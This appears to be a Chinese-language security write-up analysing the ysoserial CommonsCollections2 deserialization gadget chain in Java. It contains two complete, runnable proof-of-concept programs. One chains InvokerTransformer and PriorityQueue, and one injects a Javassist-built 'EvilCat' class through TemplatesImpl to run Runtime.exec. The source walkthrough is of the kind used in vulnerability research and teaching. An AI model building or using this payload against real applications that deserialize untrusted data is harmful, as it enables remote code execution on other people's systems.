环境
JDK 1.7
Commons Collections 4.0
javassit
maven所需pom
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
ysoserial中的cc2利用链使用了javassit,javassit是什么呢?
这篇文章说的很清楚:
Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
本地poc分析
package org.example.cc;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2Demo1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"}));
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("result.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("result.ser")));
objectInputStream.readObject();
objectInputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
我们先从java.util.PriorityQueue类中的readObject方法中看:
queue[i]的值是由s.readObject得到的,相对应的再writeObject处写入了对应的内容:
我们可以通过反射来设置queue[i]的值来控制queue[i]内容,也就是说queue[i]是我们可控的
跟进heapify方法:
进入for循环需要一个条件,就是size>1,因为size >>> 1进行了右移位操作,所以只有当size>1的时候才会进入循环
跟如siftDown方法:
这里的x即为queue[i],跟进siftDownUsingComparator方法。
重点是加断点的那一行,if (comparator.compare(x, (E) c) <= 0),x就是我们传入的queue[i],comparator接口跟进是TransformingComparator接口,而TransformingComparator接口实现了Comparator接口,重写了compare方法
compare方法中
可以发现,这里对this.transformer调用了transform方法,如果这个this.transformer可控的话,就可以触发cc1中的后半段链。
图中this.transformer并没有被static或transient修饰,所以是我们可控的。
实现代码为上面poc中的:
TransformingComparator comparator = new TransformingComparator(chain);
问题1:
为什么这里要put两个值进去?
这里往queue中put两个值,是为了让其size>1,只有size>1才能使的i>0,才能进入siftDown这个方法中,完成后面的链。
问题2:
必须在add后,再反射设置comparator值,在add中的siftUp方法中,需要让comparator为null,才会走else,走else才可以添加到queue中,否则会报错
ysoserial-cc2利用链分析
ysoserial的cc2中引入了 TemplatesImpl 类,需要javassit.
poc:
package org.example.cc;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2Demo2 {
public static void main(String[] args) throws Exception {
// 反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为"newTransformer"
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
// 实例化一个TransformingComparator对象,并且传入了transformer,需要注意TransformingComparator中的compare方法
TransformingComparator comparator = new TransformingComparator(transformer);
// 实例化PriorityQueue对象,
PriorityQueue queue = new PriorityQueue(1);
// ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
ClassPool pool = ClassPool.getDefault();
// 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
// 使用容器新建一个CtClass,相当于新建一个class,类名为Cat
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 给这个类创建 static 代码块,并插入到类中
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
// 重新设置类名为一个随机的名字
cc.setName(randomClassName);
// 给这个类添加一个父类,即继承该父类。
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 将这个类输出到项目目录下
//将生成的类文件保存下来
cc.writeFile("./");
// 将这个class转换为字节数组
byte[] classBytes = cc.toBytecode();
// 将字节数组放置到一个二维数组的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};
// System.out.println(targetByteCodes);
// 实例化TemplatesImpl对象
TemplatesImpl templates = TemplatesImpl.class.newInstance();
// 通过反射设置字段的值为二维字节数组,
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
// 新建一个对象数组
Object[] queue_array = new Object[]{templates,1};
// 反射设置PriorityQueue的queue值
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
// 反射设置PriorityQueue的size值
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
// 反射设置PriorityQueue的comparator值
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
// 序列化对象
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("result.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("result.ser")));
objectInputStream.readObject();
objectInputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
下面我们来拆解代码(其实每行代码都有注解):
片段1:
反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为"newTransformer"
// 反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为"newTransformer"
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
片段2:
实例化一个TransformingComparator对象,并且传入了transformer
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;
// 实例化一个TransformingComparator对象,并且传入了transformer,需要注意TransformingComparator中的compare方法
TransformingComparator comparator = new TransformingComparator(transformer);
// 实例化PriorityQueue对象,
PriorityQueue queue = new PriorityQueue(1);
片段3:
javassit创建一个class文件
// ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
ClassPool pool = ClassPool.getDefault();
// 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
// 使用容器新建一个CtClass,相当于新建一个class,类名为Cat
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 给这个类创建 static 代码块,并插入到类中
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
// 重新设置类名为一个随机的名字
cc.setName(randomClassName);
// 给这个类添加一个父类,即继承该父类。
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 将这个类输出到项目目录下
//将生成的类文件保存下来
cc.writeFile("./");
// 将这个class转换为字节数组
byte[] classBytes = cc.toBytecode();
// 将字节数组放置到一个二维数组的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};
片段4:
使用TemplatesImpl的空参构造方法实例化一个对象;
再通过反射对个字段进行赋值,为什么这么赋值会在稍后的分析源码中体现;
// 实例化TemplatesImpl对象
TemplatesImpl templates = TemplatesImpl.class.newInstance();
// 通过反射设置字段的值为二维字节数组,
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
片段5:
新建一个对象数组,第一个为templates,第二个为1
通过反射来设置queue值
// 新建一个对象数组
Object[] queue_array = new Object[]{templates,1};
// 反射设置PriorityQueue的queue值
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
片段6:
通过反射将queue的size设为2,与本地poc中使用两个add的意思一样
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
片段7:
反射设置PriorityQueue的comparator值
// 反射设置PriorityQueue的comparator值
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
从PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;
跟进siftDown方法,comparator参数就是我们传入的TransformingComparator实例化的对象;
到TransformingComparator的compare方法,obj1就是我们传入的templates, 这里的this.transformer就是我们传入的InvokerTransformer实例;
跟到InvokerTransformer.transform(),input就是前面的obj1,this.iMethodName的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法;
接着调用templates的newTransformer方法,而templates是TemplatesImpl类的实例化对象,也就是调用了TemplatesImpl.newTransformer();
跟到newTransformer方法中:
继续跟踪getTransletInstance方法;
进行if判断,_name不为空,_class为空,才能进入defineTransletClasses方法;
这就是片段4中赋值的原因;
继续跟进defineTransletClasses方法,
_bytecodes是我们传入的targetByteCodes,所以回继续向下,
通过loader.defineClass将字节数组还原为Class对象,_class[0]就是javassit新建的类EvilCat118492199735900
再获取它的父类,检测父类是否为ABSTRACT_TRANSLET,所以代片段3中要设置AbstractTranslet类为新建类的父类;
给_transletIndex赋值为0后,返回到getTransletInstance方法,创建_class[_transletIndex]的对象,即创建EvilCat118492199735900类的对象,那么该类中的static代码部分就会执行,成功执行命令。
参考:
https://paper.seebug.org/1242/#commonscollections-2
https://www.cnblogs.com/rickiyang/p/11336268.html
https://blog.csdn.net/qq_41918771/article/details/117194343